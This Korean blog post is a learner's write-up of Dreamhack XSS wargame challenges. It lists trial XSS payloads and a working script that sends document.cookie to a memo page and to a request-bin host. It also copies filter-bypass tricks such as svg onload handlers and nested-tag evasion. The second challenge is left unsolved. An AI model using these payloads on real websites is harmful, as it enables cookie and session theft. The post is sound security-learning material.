본문 바로가기
정보 보안 해킹 공부/SQL 인젝션

[XSS]드림핵

by 박나무 2022. 2. 23.
반응형

https://dreamhack.io/wargame/challenges/28/

XSS 취약점! URL을 확인하는 봇이 구현된 서비스! 해킹 시작!

 

사이트가 깔끔하게 나온다.

먼저 flag 를 눌러보자

 

 

1이라고 적어보자 good 이 나온다. 뭘 적어도 같다.

제출 할 때마다 memo 페이지에 hello라는 글이 생긴다.

 

 

<script>alert(1);</script>도 적어보고

"><script>alert('xss');</script> 적어봤지만 따로 뜨진 않는다. 필터링에 걸리는 듯??

 

[최근 잘 방어된 사이트의 경우 거의 대부분의 HTML Tag와 Attribute가 필터링 목록에 들어가있습니다.

이런 경우엔 DOM XSS 라 불리우는 ?param="><script>alert('xss');</script> 와 같이 HTML Tag를 직접 삽입해야 하는 XSS는 대부분 필터링에 걸려 실행되지 않습니다.]

같이 스터디하는 고수분께 살짝 여쭤보기

바로 구글링 '자바스크립트 코드를 트리거하는 방법' 잘 안되서 다시 검색!

'xss  트리거코드' 라고 검색하니 뭔가 좀 나오는 것 같다.

음 코드를 살펴보다가 다시 처음으로 돌아가서

vuln(xss) page 를 누르니 뒤에 유알엘이 vuln?param=<script>alert(1)</script> 라고 써있다!?

/vuln?param=<script>alert(%27xss%27)</script> 여기서는 얼럿창이 뜬다!

 

구글링을 더 해보니 특수문자를 우회하는 것도 나온다.

<script>alert(document.cookie="flag=FLAG.strip()");</script> 다시 입력해보자.

음... 안나온다!

아...............

/memo?memo=+document.cookie;

메모에 가서 입력해 보았으나 그냥 뒤 글자만 뜬다~

 

강의를 다시 확인해봐야겠다.

(확인후.....아...)

멍청했다;

쿠키값을 메모로 보내줬어야 했다!

<script>location.href = "/memo?memo=" + document.cookie;</script>

 

 

플래그가 여기 나와있다!!

<script>location.href = "https://ghzurom.request.dreamhack.games/?memo=" + document.cookie;</script>

만약 메모가 없다면 드림핵툴즈 웹서버에서 받아볼 수 있다.

Request Bin 에서 링크 생성하고 로케이션 href로 메모 도큐멘트 쿠키를 보내면 짠 하고 나온다. QueryString 에!

https://tools.dreamhack.games/main

 

Webpack App

 

tools.dreamhack.games

첫번째 문제 끝~!


이제 XSS-2 로...

<script>location.href = "https://ssvhskn.request.dreamhack.games/?memo=" + document.cookie;</script>

<script>location.href = "/memo?memo=" + document.cookie;</script>

XSS-1 이랑 똑같이 입력해봤으나 아무것도 뜨지않는다...

hello 가 나를 반길뿐; ㅎㅎ

xss-1

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

 

xss-2

@app.route("/vuln")

def vuln():

return render_template("vuln.html")

 

코드를 보니 입력한 취약점이었던 vuln인자를 가져오는 부분이 사라졌다.

그 외에는 다 똑같다.

 

구글링 들어간다. 'xss 방화벽 우회'


WAF Bypass Tips

 

. 을 필터링 할 시

document.cookie => document['cookie']

 

(" ")를 필터링 할 시

eval("alert(1)") => eval[alert(1)]

 

;나 +를 필터링 할 시

'abc'-alert(1)-'def' => 함수 실행 후 정상 문자열을 대입하여야 할 때 => 'abc'-alert(1)^1&&'normal_string_here'

 

종합해보면

 

'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'

 

document.location.href 의 문자열에 대입해보면

 

document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';

 

 

우회 및 XSS 트리거 코드 1 (Reflected XSS)

문자열 - Native Function - 문자열 을 수행할 시 문자열의 결과를 연산하는 과정에서 Native Function이 실행되게 됩니다. 때문에 document.location="abc"-alert(document.cookie)-"def"; 와 같은 구문이 있을 시 document.location의 결과와는 상관 없이 alert(document.cookie) 구문이 실행되게 됩니다


<script>location.href = "/memo?memo=" + document.location="abc"-document.cookie-"def";</script>

abc'-"/memo?memo="+document.cookie)-'def

얼럿도 해봤으나 hello가 나를 반긴다;


 

다시 구글링 들어간다. 'xss 우회'

 

필터링의 경우

1. 특수문자 치환법

특수 문자 전체의 사용이 불필요하여 입력값을 HTML 치환하여 받는 경우 아래와 같이 치환하여 사용한다.

 

&nbsp;  : 공백
&lt; <

&gt; 

&amp; 

&quot; “ 

&#035; 

&#039; '


2. 소거법

스크립트를 발생시키는 구문의 일부를 소거시키는 방법으로 우선 어떤 문자열을 어디까지 소거시키는지를 파악해야 한다. 파악한 이후라면 소거가 되는 부분을 예상하고 XSS구문을 작성한다.

 

예를 들어 script라는 문자열이 소거가 된다고 가정해보자.

입력 :       <script>alert('1')</script>

출력 :       alert('1')라고 가정할 수 있다.

 

정확히 script만 소거하는지 <script를 소거하는지 script>를 소거하는지 등을 파악하고

<script>라는 문자열만 소거된다고 생각이 된다면 우회하기 위해서 

 

입력 :        <scr<script>ipt>alert('1')</script> 

출력 :        <script> alert('1')</script>라고 출력되어 XSS가 발생한다.

 

소거법에 의해서 필터링되었을 경우

어떤 부분을 어떻게 소거되는지 파악하고 이를 이용하여 우회하는 방법을 구상하는 것이 빠르다.


공백

이벤트 핸들러의 경우 발생하기 위하여 공백이 필요한데 이 공백이 필터링되어 있다면""를 사용하여 우회 가능하다.

 

"'><svg/whatthe=""onload=alert(45)>

 

/ 우회

/의 가 필터링되어 있다면 ;를 사용하여 우회가 가능하다.

 

"><svg/;onload="alert(45)"onload=alert(45)>">

 

URL 입력 필터링

 

document.location.href="http://www.test.com";

 

과 같은 구문을 발생시키려 하는데 "이 필터링 되어 사용이 불가능하다면 

 

document.location.href=/http:\/\/www.test.com/;

 

로 우회가 가능하다. 이는 javascript 정규식 구문을 사용하기 때문에 가능하다.

 

svg/onload xss 구글링!

"><svg/onload="memo="+document.cookie;>"  입력 무반응.

<svg/onload=location.href = "/memo?memo=" + document.cookie;>

<svg/onload="/memo?memo=" + document.cookie;>

다 무반응;

뭐지

<svg/onload=alert('test')>

근데 flag 에서는 안먹힌다;

<svg/onload=alert(document.cookie)>

<svg/onload="/memo?memo=" +document.cookie;> 

 

시간이;; 내일 수업을 위해 일단 오늘은 여기까지

반응형

댓글